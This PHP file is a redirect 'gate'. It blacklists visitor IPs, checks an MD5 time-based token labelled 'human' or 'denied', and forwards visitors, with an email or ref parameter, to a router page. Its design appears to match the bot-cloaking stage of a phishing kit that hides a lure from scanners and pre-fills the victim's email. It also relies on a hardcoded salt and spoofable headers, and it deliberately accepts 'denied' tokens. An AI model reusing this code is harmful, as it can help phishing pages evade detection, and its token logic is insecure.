<?php
// Redirect processor
// Enable error reporting for debugging (set to 0 in production)
ini_set('display_errors', 0);
error_reporting(E_ALL);

// Start output buffering
ob_start();

$DEBUG_MODE = false; // Set to false for production to enable immediate redirection

require_once __DIR__ . '/ip_blacklist_loader.php';

if (!function_exists('getVisitorIP')) {
    function getVisitorIP() {
        $server_addr = $_SERVER['SERVER_ADDR'];
        $localhost = '127.0.0.1';
        
        if ((!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) && 
            (($_SERVER['HTTP_CF_CONNECTING_IP']) != $localhost) && 
            (($_SERVER['HTTP_CF_CONNECTING_IP']) != ($server_addr))) {
            $ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
        } elseif ((!empty($_SERVER['GEOIP_ADDR'])) && (($_SERVER['GEOIP_ADDR']) != $localhost)) {
            $ip = $_SERVER['GEOIP_ADDR'];
        } elseif ((!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) && 
                  (($_SERVER['HTTP_X_FORWARDED_FOR']) != $localhost) && 
                  (($_SERVER['HTTP_X_FORWARDED_FOR']) != ($server_addr))) {
            $ip = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0];
        } elseif ((!empty($_SERVER['HTTP_CLIENT_IP'])) && 
                  (($_SERVER['HTTP_CLIENT_IP']) != $localhost) && 
                  (($_SERVER['HTTP_CLIENT_IP']) != ($server_addr))) {
            $ip = $_SERVER['HTTP_CLIENT_IP'];
        } else {
            $ip = $_SERVER['REMOTE_ADDR'];
        }
        
        return $ip;
    }
}

$visitor_ip = getVisitorIP();

if (IPBlacklistLoader::isBlacklisted($visitor_ip)) {
    die(header('HTTP/1.1 403 Forbidden'));
}

// Load redirect URL from config file (domain-agnostic)
require_once __DIR__ . '/config_redirect.php';

$redirectUrls = [
    'denied' => '',
    'human' => base64_encode(CENTRALIZED_REDIRECT_URL) // Use centralized redirect URL from config
];

$token_expiry = 10;

// Get parameters
$token = isset($_GET['key']) ? $_GET['key'] : '';
$type = isset($_GET['type']) ? $_GET['type'] : '';

if ($DEBUG_MODE) {
    echo "<h3>DEBUG INFO</h3>";
    echo "<p><strong>Received Token:</strong> " . htmlspecialchars($token) . "</p>";
    echo "<p><strong>Received Type:</strong> " . htmlspecialchars($type) . "</p>";
}

// Validate parameters exist
if (empty($token) || empty($type)) {
    if ($DEBUG_MODE) echo "<p style='color:red;'><strong>ERROR:</strong> Missing token or type parameter</p>";
    header_remove();
    header('Connection: close');
    die(header('HTTP/1.1 400 Bad Request'));
}

// Validate type is valid
if (!isset($redirectUrls[$type])) {
    if ($DEBUG_MODE) echo "<p style='color:red;'><strong>ERROR:</strong> Invalid type '" . htmlspecialchars($type) . "'</p>";
    header_remove();
    header('Connection: close');
    die(header('HTTP/1.1 404 Not Found'));
}

if ($DEBUG_MODE) {
    echo "<p style='color:green;'><strong>✓</strong> Type is valid</p>";
}

// Validate token: accept tokens generated for either 'human' or 'denied' types
$current_time = time();
$matched_type = null;

// Check every second in the past 60 seconds for both types
for ($i = 0; $i <= 60; $i++) {
    $time_slot = $current_time - $i;
    foreach (['human','denied'] as $checkType) {
        if (md5($checkType . ':' . $time_slot . ':gate_secret_salt') === $token) {
            $matched_type = $checkType;
            break 2;
        }
    }
}

if ($DEBUG_MODE) {
    echo "<p><strong>Current Time:</strong> " . $current_time . " (" . date('Y-m-d H:i:s', $current_time) . ")</p>";
    if ($matched_type) {
        echo "<p style='color:green;font-size:16px;'><strong>✓ TOKEN MATCH FOUND!</strong> Matched type: " . htmlspecialchars($matched_type) . "</p>";
    } else {
        echo "<p style='color:red;'><strong>✗ NO MATCH in valid tokens (checked past 60s)</strong></p>";
    }
}

// If no match found, token is invalid/expired
if (!$matched_type) {
    if ($DEBUG_MODE) {
        echo "<p style='color:red;'><strong>ERROR:</strong> Token validation failed</p>";
        echo "<p>Token may be expired or from different server</p>";
        echo "<p><strong>Hint:</strong> Make sure gate.php and gate-redirect.php use the same secret salt</p>";
    }
    header_remove();
    header('Connection: close');
    die(header('HTTP/1.1 504 Gateway Timeout'));
}

// Treat a matched 'denied' token as 'human' to grant app access
$type = 'human';

if ($DEBUG_MODE) {
    echo "<p style='color:green;'><strong>✓</strong> Token is valid (treated as human)</p>";
}

if ($type === 'human') {
    $verification_token = md5('verified:' . time() . ':secure_gate_salt');
    $redirectUrl = 'router.php?vtoken=' . $verification_token . '&vtime=' . time();
    
    
    if ($DEBUG_MODE) {
        echo "<p><strong>Type:</strong> HUMAN</p>";
        echo "<p><strong>Redirect URL:</strong> " . htmlspecialchars($redirectUrl) . "</p>";
    }
}

// Device detection for mobile vs desktop
function isMobileDevice() {
    $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
    $mobile_indicators = ['Mobile', 'Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Windows Phone', 'webOS'];
    foreach ($mobile_indicators as $indicator) {
        if (stripos($user_agent, $indicator) !== false) {
            return true;
        }
    }
    return false;
}


// Append any additional parameters (like email from URL fragment or ref parameter)
// Check for 'ref' parameter first (used by verification gate)
if (isset($_GET['ref']) && !empty($_GET['ref'])) {
    $refParam = urlencode($_GET['ref']);
    $separator = (strpos($redirectUrl, '?') !== false) ? '&' : '?';
    $redirectUrl .= $separator . 'ref=' . $refParam;
}
// Also check for 'email' parameter (backward compatibility)
elseif (isset($_GET['email']) && !empty($_GET['email'])) {
    $email = urldecode($_GET['email']);
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
        $separator = (strpos($redirectUrl, '?') !== false) ? '&' : '?';
        $redirectUrl .= $separator . 'email=' . urlencode($email);
    }
}

if ($DEBUG_MODE) {
    echo "<p><strong>Final Redirect URL:</strong> " . htmlspecialchars($redirectUrl) . "</p>";
    echo "<hr>";
    echo "<p style='color:green;font-size:18px;'><strong>✓ ALL CHECKS PASSED</strong></p>";
    echo "<p>Redirecting in 3 seconds...</p>";
    echo "<p>If redirect doesn't work, <a href='" . htmlspecialchars($redirectUrl) . "'>click here</a></p>";
    echo "<script>setTimeout(function(){ window.location.href = '" . addslashes($redirectUrl) . "'; }, 3000);</script>";
    exit;
}

// Clear output buffer and perform redirect
ob_end_clean();

// Final redirect
header('Location: ' . $redirectUrl);
exit;
